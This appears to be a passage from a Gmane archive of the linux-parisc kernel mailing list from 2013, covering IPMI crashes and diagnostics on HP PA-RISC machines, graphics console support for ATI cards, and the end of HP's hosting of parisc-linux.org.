Xref: news.gmane.org gmane.linux.ports.parisc:5445
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5445>


--nextPart1403406.CurATzSu1t
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="utf-8"

Am Samstag, 26. Oktober 2013, 16:26:03 schrieb Rolf Eike Beer:
> I did "modprobe ipmi_si" on my C8000 (kernel 3.11.6), which immediate=
ly
> broke the machine. I have no backtrace yet, but I'll try to get one n=
ext
> week. In case someone has such a machine and the mood to debug this
> already=E2=80=A6 ;)

Ok, I now have IPMI monitoring on the C8000 working smoothly. Thanks fo=
r the=20
work on this.

While testing I installed by mistake the nagios IPMI check module and f=
reeipmi=20
on the C3600 (running 3.11.2 at that time). Calling "check_ipmi_sensor =
-T=20
Temperature -H localhost" reproducible caused a HPMC. There was no IPMI=
 module=20
loaded or even compiled on the machine so I think it has nothing to do =
with=20
the crash reported above. I'll try if I can get some additional informa=
tion on=20
monday.

Eike
--nextPart1403406.CurATzSu1t
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

iEYEABECAAYFAlJyzksACgkQXKSJPmm5/E4bswCeKCucZdErmpditwcdkyB+Hq7q
gycAmQG1vnoQOBprBnzYh+rYCpWHVjzy
=1LDB
-----END PGP SIGNATURE-----

--nextPart1403406.CurATzSu1t--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: STI text console for ATI FireGL cards?
Date: Fri, 1 Nov 2013 01:01:56 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20131101000156.GA22568@alpha.franken.de>
References: <5272CAE8.6050108@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1383264127 12248 80.91.229.3 (1 Nov 2013 00:02:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 Nov 2013 00:02:07 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 01 01:02:11 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vc2Bn-0004y9-CI
	for glpp-linux-parisc@plane.gmane.org; Fri, 01 Nov 2013 01:02:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751517Ab3KAACK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Oct 2013 20:02:10 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:41222 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750754Ab3KAACK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Oct 2013 20:02:10 -0400
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1Vc2Bl-0007Z9-00; Fri, 01 Nov 2013 01:02:09 +0100
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id DB9011D47D; Fri,  1 Nov 2013 01:01:56 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <5272CAE8.6050108@gmx.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5446
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5446>

On Thu, Oct 31, 2013 at 10:26:00PM +0100, Helge Deller wrote:
> Does the ATI FireGL cards (in e.g. a C8000) have a STI ROM?

I wonder how many times I need to write that. They don't have STI ROMs.
The C8000 PDC must have an x86 emulator, which is used for POSTing
VGA cards. 

I've successfully installed normal Nvidia and AMD cards (both PCI and
AGP cards). For me radeonfb is working as console, but without any
acceleration (ring test failure problem). 

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Short notice: ipmi_si kills C8000
Date: Sat, 2 Nov 2013 12:18:33 -0400
Lines: 103
Approved: news@gmane.org
Message-ID: <BLU0-SMTP6E3477044B0CC6EBE850B97F40@phx.gbl>
References: <2698496.oieJ4Vatqf@caliban.sf-tec.de> <20131026191720.5282c0c3@marga.jer-c2.orkz.net> <20131028105612.GB19852@alpha.franken.de> <20131029093706.GA6255@alpha.franken.de> <236d3862441c13623a9fde73e6988591@sf-mail.de> <20131029164151.GA10616@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383409140 28376 80.91.229.3 (2 Nov 2013 16:19:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 Nov 2013 16:19:00 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 02 17:19:02 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VcduZ-0004fQ-GD
	for glpp-linux-parisc@plane.gmane.org; Sat, 02 Nov 2013 17:18:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751492Ab3KBQSw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 Nov 2013 12:18:52 -0400
Original-Received: from blu0-omc3-s8.blu0.hotmail.com ([65.55.116.83]:35770 "EHLO
	blu0-omc3-s8.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751308Ab3KBQSv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 Nov 2013 12:18:51 -0400
Original-Received: from BLU0-SMTP6 ([65.55.116.72]) by blu0-omc3-s8.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 2 Nov 2013 09:18:51 -0700
X-TMN: [pdsQdoV5RFEgGA43XhZmGcDz4hrMFSK6]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.85.204]) by BLU0-SMTP6.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 2 Nov 2013 09:18:49 -0700
In-Reply-To: <20131029164151.GA10616@alpha.franken.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 02 Nov 2013 16:18:50.0028 (UTC) FILETIME=[36FCD6C0:01CED7E7]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5447
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5447>

On 29-Oct-13, at 12:41 PM, Thomas Bogendoerfer wrote:

> I've played only with ipmitool, which gives something like
>
> c8000:~# ipmitool sdr
> Systemboard      | 30 degrees C      | ok
> CPU 1            | 43 degrees C      | ok
> Ambient          | 24.50 degrees C   | ok

I played with IPMI a bit on rp3440.  It works to a degree but so far I  
haven't been able
to get it to show sensor data:

mx3210:/boot# ipmitool mc info
Device ID                 : 50
Device Revision           : 1
Firmware Revision         : 3.52
IPMI Version              : 1.0
Manufacturer ID           : 11
Manufacturer Name         : Hewlett-Packard
Product ID                : 33281 (0x8201)
Product Name              : Unknown (0x8201)
Device Available          : yes
Provides Device SDRs      : yes
Additional Device Support :
     Sensor Device
     SDR Repository Device
     SEL Device
     FRU Inventory Device
     IPMB Event Receiver
     IPMB Event Generator
mx3210:/boot# ipmitool sdr info
SDR Version                         : 0x1
Record Count                        : 92
Free Space                          : 12336 bytes
Most recent Addition                :
Most recent Erase                   :
SDR overflow                        : no
SDR Repository Update Support       : unspecified
Delete SDR supported                : no
Partial Add SDR supported           : no
Reserve SDR repository supported    : yes
SDR Repository Alloc info supported : yes
mx3210:/boot# ipmitool -v sdr list
Running Get PICMG Properties my_addr 0x20, transit 0, target 0
Error Response 0xc2 from Get PICMG Properities
No PICMG Extenstion discovered
Sensor ID              : Chassis Intrus (0x1)
  Entity ID             : 23.1 (System Chassis)
  Sensor Type (Discrete): Physical Security (0x05)
  Sensor Reading        : No Reading
  Event Message Control : Per-threshold
  OEM                   : 0

Get SDR 5000 command failed: Timeout
Get SDR 5000 command failed: Timeout
Get SDR 5000 command failed: Timeout
Get SDR 5000 command failed: Timeout
Get SDR 5000 command failed: Timeout
mx3210:/boot# ipmitool sdr type Temperature
Ambient Temp     | D8h | ns  | 23.1 | No Reading
Processor 0 Temp | D9h | ns  |  3.1 | No Reading
Processor 1 Temp | DAh | ns  |  3.2 | No Reading
mx3210:/boot# ipmitool  fru print
FRU Device Description : Builtin FRU Device (ID 0)
  Chassis Type          : Rack Mount Chassis
  Board Mfg Date        : Mon May 24 14:50:00 2004
  Board Mfg             : JABIL
  Board Product         : rp3440 SYSTEM BOARD
  Board Serial          : 52JAPE4422169260
  Board Part Number     : A7136-60001
  Board Extra           : A1
  Board Extra           : 4419
  Board Extra           : D
  Board Extra           : 00000000000000000000000000000000
  Product Manufacturer  : hp
  Product Extra         : 09010000

FRU Device Description : I/O Backplane (ID 5)
  Device not present (Timeout)

Get SDR 300d command failed: Timeout
Get SDR 300d command failed: Timeout
Get SDR 300d command failed: Timeout
Get SDR 300d command failed: Timeout
Get SDR 300d command failed: Timeout
mx3210:/boot# ipmitool -V
ipmitool version 1.8.13

Thoughts?

Dave

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: STI text console for ATI FireGL cards?
Date: Mon, 04 Nov 2013 22:17:26 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <52780EE6.9010902@gmx.de>
References: <5272CAE8.6050108@gmx.de> <20131101000156.GA22568@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383599848 31526 80.91.229.3 (4 Nov 2013 21:17:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Nov 2013 21:17:28 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 04 22:17:32 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VdRWb-0002ZR-FY
	for glpp-linux-parisc@plane.gmane.org; Mon, 04 Nov 2013 22:17:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752841Ab3KDVR3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Nov 2013 16:17:29 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:54233 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751638Ab3KDVR2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Nov 2013 16:17:28 -0500
Original-Received: from [192.168.178.60] ([84.173.31.83]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0LwaQZ-1VhoK0097f-018Gmd for
 <linux-parisc@vger.kernel.org>; Mon, 04 Nov 2013 22:17:27 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0
In-Reply-To: <20131101000156.GA22568@alpha.franken.de>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:mH/60I/ghXkohBNTkt/ftwzNtTe9IlDqBtwThA8fC0n9EL+MMn1
 0c927J/1kYpP6rjyGudwB6yAZKwB1KAcY7ua3CtjrKonAzeiOsHgjJqOXi5PoeIWbMUXn6H
 zdZ5EQy/U6UuptkiGS6bkBR3Tvt+hQ0OQ4qSCHnhaGGLsOa+UPom/Af/D/WFF6M3mtQicQB
 wCG+1e9TWiCz8oPmA9uxw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5448
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5448>

Hi Thomas,

On 11/01/2013 01:01 AM, Thomas Bogendoerfer wrote:
> On Thu, Oct 31, 2013 at 10:26:00PM +0100, Helge Deller wrote:
>> Does the ATI FireGL cards (in e.g. a C8000) have a STI ROM?
> 
> I wonder how many times I need to write that. They don't have STI ROMs.
> The C8000 PDC must have an x86 emulator, which is used for POSTing
> VGA cards.

Yeah, I remember you mentioned that earlier....
 
> I've successfully installed normal Nvidia and AMD cards (both PCI and
> AGP cards). For me radeonfb is working as console, but without any
> acceleration (ring test failure problem).

At least unaccelerated radeonfb is still much better than STI console.

Thanks!
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc-linux.org losing hw hosting after this month
Date: Mon, 4 Nov 2013 17:35:09 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20131105003509.GA19864@dannf.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1383612168 5339 80.91.229.3 (5 Nov 2013 00:42:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Nov 2013 00:42:48 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 05 01:42:53 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VdUjM-0001Mz-GR
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Nov 2013 01:42:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752195Ab3KEAmw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Nov 2013 19:42:52 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:58641 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751517Ab3KEAmv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Nov 2013 19:42:51 -0500
X-Greylist: delayed 455 seconds by postgrey-1.27 at vger.kernel.org; Mon, 04 Nov 2013 19:42:51 EST
Original-Received: from localhost (c-50-170-238-85.hsd1.co.comcast.net [50.170.238.85])
	(using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(Client did not present a certificate)
	by complete.lackof.org (Postfix) with ESMTPSA id 76E7733E0010
	for <linux-parisc@vger.kernel.org>; Mon,  4 Nov 2013 17:35:13 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Virus-Scanned: clamav-milter 0.97.8 at complete.lackof.org
X-Virus-Status: Clean
X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY
	autolearn=unavailable version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on complete.lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5449
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5449>

Hi,
 I've been informed that the subnet on which HP is hosting
parisc-linux.org is going away next month. They have offered to ship
the hardware somewhere if it continues to be needed.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Tue, 05 Nov 2013 08:56:02 +0800
Lines: 19
Approved: news@gmane.org
Message-ID: <1383612962.2150.4.camel@dabdike>
References: <20131105003509.GA19864@dannf.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383612974 13540 80.91.229.3 (5 Nov 2013 00:56:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Nov 2013 00:56:14 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 05 01:56:19 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VdUwM-00032j-If
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Nov 2013 01:56:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754044Ab3KEA4R (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Nov 2013 19:56:17 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:50617 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753917Ab3KEA4Q (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Nov 2013 19:56:16 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id A1F1E8EE0FB;
	Mon,  4 Nov 2013 16:56:16 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id FxalB0BMXU3Z; Mon,  4 Nov 2013 16:56:16 -0800 (PST)
Original-Received: from [192.168.43.99] (unknown [203.210.8.230])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 2F61A8EE0C9;
	Mon,  4 Nov 2013 16:56:14 -0800 (PST)
In-Reply-To: <20131105003509.GA19864@dannf.org>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5450
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5450>

On Mon, 2013-11-04 at 17:35 -0700, dann frazier wrote:
> Hi,
>  I've been informed that the subnet on which HP is hosting
> parisc-linux.org is going away next month. They have offered to ship
> the hardware somewhere if it continues to be needed.

We'll probably end up distributing to people.  Do they have a list of
what it is (and approximate size for those wanting the N class)?

Thanks,

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Mon, 4 Nov 2013 20:07:33 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl>
References: <20131105003509.GA19864@dannf.org> <1383612962.2150.4.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383613719 19928 80.91.229.3 (5 Nov 2013 01:08:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Nov 2013 01:08:39 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 05 02:08:43 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VdV7t-0000BW-Si
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Nov 2013 02:08:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752598Ab3KEBIM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Nov 2013 20:08:12 -0500
Original-Received: from [65.55.111.155] ([65.55.111.155]:35865 "EHLO
	blu0-omc4-s16.blu0.hotmail.com" rhost-flags-FAIL-FAIL-OK-FAIL)
	by vger.kernel.org with ESMTP id S1750997Ab3KEBIM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Nov 2013 20:08:12 -0500
Original-Received: from BLU0-SMTP21 ([65.55.111.136]) by blu0-omc4-s16.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 4 Nov 2013 17:07:51 -0800
X-TMN: [3l5HE4dopLKgGoZ+3FKuF+GlHRKf0OoO]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.85.204]) by BLU0-SMTP21.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 4 Nov 2013 17:07:50 -0800
In-Reply-To: <1383612962.2150.4.camel@dabdike>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 05 Nov 2013 01:07:50.0316 (UTC) FILETIME=[727FEEC0:01CED9C3]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5451
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5451>

On 4-Nov-13, at 7:56 PM, James Bottomley wrote:

> On Mon, 2013-11-04 at 17:35 -0700, dann frazier wrote:
>> Hi,
>> I've been informed that the subnet on which HP is hosting
>> parisc-linux.org is going away next month. They have offered to ship
>> the hardware somewhere if it continues to be needed.
>
> We'll probably end up distributing to people.  Do they have a list of
> what it is (and approximate size for those wanting the N class)?


Is there any possibility that HP might continue to host parisc-linux.org
on some other subnet/machine?

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Mon, 4 Nov 2013 19:14:20 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20131105021420.GB22393@dannf.org>
References: <20131105003509.GA19864@dannf.org>
 <1383612962.2150.4.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1383617662 23863 80.91.229.3 (5 Nov 2013 02:14:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Nov 2013 02:14:22 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 05 03:14:27 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VdW9y-00015U-6D
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Nov 2013 03:14:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753371Ab3KECOZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Nov 2013 21:14:25 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:59480 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750732Ab3KECOY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Nov 2013 21:14:24 -0500
Original-Received: from localhost (c-50-170-238-85.hsd1.co.comcast.net [50.170.238.85])
	(using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(Client did not present a certificate)
	by complete.lackof.org (Postfix) with ESMTPSA id C202533E0094;
	Mon,  4 Nov 2013 19:14:23 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1383612962.2150.4.camel@dabdike>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Virus-Scanned: clamav-milter 0.97.8 at complete.lackof.org
X-Virus-Status: Clean
X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY
	autolearn=unavailable version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on complete.lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5452
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5452>

On Tue, Nov 05, 2013 at 08:56:02AM +0800, James Bottomley wrote:
> On Mon, 2013-11-04 at 17:35 -0700, dann frazier wrote:
> > Hi,
> >  I've been informed that the subnet on which HP is hosting
> > parisc-linux.org is going away next month. They have offered to ship
> > the hardware somewhere if it continues to be needed.
> 
> We'll probably end up distributing to people.  Do they have a list of
> what it is (and approximate size for those wanting the N class)?

According to the inventory spreadsheet they shared with me, the only
thing left is the A500 currently hosting parisc-linux.org.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
